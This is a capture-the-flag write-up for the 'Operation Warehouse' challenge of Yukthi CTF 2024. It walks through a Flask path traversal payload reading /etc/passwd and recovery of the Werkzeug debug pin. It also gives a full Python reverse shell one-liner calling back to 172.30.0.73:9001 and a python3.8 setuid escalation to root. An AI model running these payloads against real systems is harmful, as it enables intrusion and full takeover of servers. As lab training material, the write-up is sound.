Operation Warehouse: Yukthi CTF 2024 Prelims – Cyber Investigation Challenge

Introduction to Operation Warehouse

Operation Warehouse is a fascinating web-based challenge featured in the Yukthi CTF 2024 prelims. This challenge immerses participants in a simulated underground network and offers an in-depth, step-by-step cyber puzzle. By testing your cybersecurity skills, this challenge supports your journey in mastering ethical hacking, all while gaining hands-on experience in Selfmade Ninja Lab cloud lab training for aspiring IT students.

Journey Through the Challenge

Starting with the basics, participants first exploit a Flask debug console vulnerability combined with a path traversal bug. These initial vulnerabilities provide a pathway to deeper insights, leading to crucial access points within the system. Successfully obtaining the Werkzeug debugger pin allows participants to launch a reverse shell via Python, marking a major milestone in the challenge.

Delving Deeper

The second phase of Operation Warehouse introduces a separate machine where participants unlock root access using Python’s setcap capabilities. This stage tests advanced real-world cyber-attack simulations, requiring skills in privilege escalation and effective navigation of complex system layers.

Getting Started: Accessing the Labs

  1. Visit the Selfmade Ninja Labs and log in to your account (Click here)
  2. Activate WireGuard
    • Follow the provided setup instructions to activate the WireGuard VPN.
  3. Access the Machine Labs Dashboard
    • Go to Selfmade Ninja Labs and click Machine Labs to open the dashboard.
    • On the left sidebar, navigate to My Lab dropdown and select Challenge Lab.
  4. Find and Launch the Challenge
    • Browse the challenge page for Send the Alien Back Home and click the challenge button.
    • In the top-right corner, click Deploy Lab and then click Start Mission.
    • Note the IP address assigned to your challenge. Use this IP address to configure port forwarding in your VS Code setup.

Skills Learned

By participating in Operation Warehouse, you develop essential cybersecurity skills including:

  • Reconnaissance and exploitation strategies
  • Privilege escalation and system security bypass
  • Network reconnaissance and web pentesting

Enumeration

1. Initial Reconnaissance

Start by conducting a port scan using nmap to identify active ports. The scan reveals that port 7777 is open, suggesting that a web service might be running on that port.

   nmap -p- ipaddress

Port Scan

This scan shows that port 7777 is actively accepting connections, which is typically indicative of a web service.

2. Exploring Port 7777

Port forwarding to port 7777 revealed a website running on the server.

Flask server

Analyzing the webpage's source code uncovers an interesting endpoint: `readfile?file=about.html`. Altering this endpoint to` readfile?file=….//…//` exposes a Flask error message, confirming the server's framework.

Flask Error Message Alternatively, you can use Wappalyzer to quickly detect the technologies used on the website, confirming that Flask is running on the server.

Flask Detected by Wappalyzer

Accessing the `/console` endpoint reveals the debug console pin on the production server. The presence of this debug feature results from the application being configured with DEBUG=True in its production settings. This configuration should be disabled in a live environment to prevent security vulnerabilities.

Flask Debug Console

3. Exploiting Path Traversal

Next, scrutinize the readfile endpoint, which serves files directly. Notably, the URL` http://127.0.0.1:7777/readfile?file=app.py` indicates a susceptibility to a path traversal attack. The application's handling of path traversal is peculiar: initially, any `"../"` sequences are replaced with an empty string, and then subsequent `"../"` sequences are converted to a dot. Path Traversal Exploit

Using this knowledge, craft the following URL to exploit the vulnerability and attempt to read system files like` /etc/passwd`:

 http://127.0.0.1:7777/readfile?file=....//...//...//...//...//...//...//...//etc/passwd

System File Access

To effectively exploit the vulnerabilities of the Flask debugger, specific detailed information about the application environment is needed. Here’s a breakdown of the data required and how it can be used to retrieve the console pin using a script designed for bypassing the Werkzeug debug console.

Required Data for Console Pin Exploitation

To exploit the console pin, you need specific details about the Flask application environment, which are crucial for the script to generate the correct console pin. The necessary details include:

  • Username: The username under which the Flask application is running.
  • Modname: The name of the main module of the Flask application.
  • Machine ID: A unique identifier for the host machine which can sometimes be extracted from files like `/etc/machine-id`.
  • MAC Address: The MAC address of the network interface, often obtainable via system files or network configuration commands.

Obtaining the Required Details

These details can typically be found by examining files within the application environment or by exploiting other vulnerabilities, such as the path traversal flaw discovered. By gathering this information, you can effectively use the script to bypass the debug console's security.

Using the Bypass Script

For additional information and the script, check out the GitHub repository.

https://github.com/wdahlenburg/werkzeug-debug-console-bypass

Using this script correctly with the appropriate data will allow you to bypass the Werkzeug debug console's security and gain access. This can be crucial in a penetration testing scenario or a CTF challenge.

OR

4. Obtaining Console Pin using automation script

Further exploitation of the path traversal vulnerability allows for obtaining the console pin. A script automates fetching the necessary data such as Flask app module names and machine identifiers:

https://git.selfmade.ninja/Jawahar.s/werkpin/-/blob/master/werkpindebug.py

This script, when executed, provides the debug console pin

Conole Pin

5. Exploiting the Debug Console

With the debug pin in hand, you can now target a reverse shell. Set up a listener using` nc`:

nc -lnvp 9001

Executing the following Python script then allowed a reverse shell connection to be established:

import os;os.popen("""python3 -c 'import socket,subprocess,os,tty,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.30.0.73",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'""")

Reverse Shell

The reverse shell provided direct command line access to the server.

Shell Access

6. Victory

Using the obtained shell access, navigation to `/home/jamie` was accomplished to retrieve the first flag.

Second Challenge: Escalating Privileges

1. Identifying Python Capability

To escalate privileges, start by identifying if any system binaries have special capabilities that can be exploited. Use the` getcap` command to list all capabilities granted to executables.

  • Command:

    getcap -r / 2> /dev/null

    This command recursively searches the root directory for all files with any set capabilities. It redirects errors to null to clean up the output.

  • Finding: The command shows that Python 3.8 has been granted special capabilities, making it a potential vector for privilege escalation.

Python Capability

2.Escalating Privileges Using Python

Once Python 3.8 is identified as having special capabilities, use it to execute commands as the root user. This is particularly useful if Python has the `cap_setuid` capability, which allows changing the UID (User ID) of the process.

  • Exploitation Command : This command uses Python to change the current process's user ID to root (UID 0) and then spawns a shell with root privileges.
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'

This command uses Python to change the current process's user ID to root (UID 0) and then spawns a shell with root privileges.

  • Execution: Run the above command in the terminal where Python's capabilities allow setting UID. If successful, this command grants a root shell, bypassing normal security restrictions.

Root Shell

3. Victory: Retrieving the Flag

After gaining root access, navigate to the root directory to search for sensitive files or the CTF challenge flag.

  • Retrieve the Flag:
    cd /root && cat secretfile

    This final step involves navigating to the root user’s home directory and reading the contents of secretfile, where the flag for the second challenge is stored.

By following these steps, you can effectively escalate privileges and retrieve the necessary flag in the challenge.

Conclusion

Operation Warehouse offers an in-depth cybersecurity challenge, training participants in real-world security techniques like those featured in the Selfmade Ninja Lab cloud lab training for aspiring IT students. By navigating path traversal vulnerabilities, privilege escalation, and command-line exploitation, participants gain experience in critical cybersecurity skills and enhance their understanding of secure application configurations.

This challenge reinforces the importance of secure coding practices and vulnerability assessments to maintain system integrity. Engaging in Operation Warehouse is a step toward mastering cyber defense skills, making it an invaluable resource for anyone interested in penetration testing and network security.

Leave a Comment

Realted Blog >>

Send the Alien Back home
🛡 Deep Dive into Path Traversal with "Send the Alien Back Home" - Selfmade Ninja Lab Cloud Lab Training for Aspiring IT Students 🛡
Hey Ninjas! 🥷  Welcome to an in-depth write-up for the "Send the Alien Back Home" CTF challenge!...
A Blockchain OSINT Challenge
Case 118 Unlocked: A Blockchain OSINT Challenge Guide
Introduction Case 118 Unlocked presents an exciting blockchain-based OSINT challenge on the Binance Smart...
Pickle Portal
Exploring the Pickle Portal Challenge: Python and Linux Skills Enhancement with Selfmade Ninja Lab
Introduction The Pickle Portal Challenge offers a deep dive into essential programming and system management...
1 2 3 4
Scroll to Top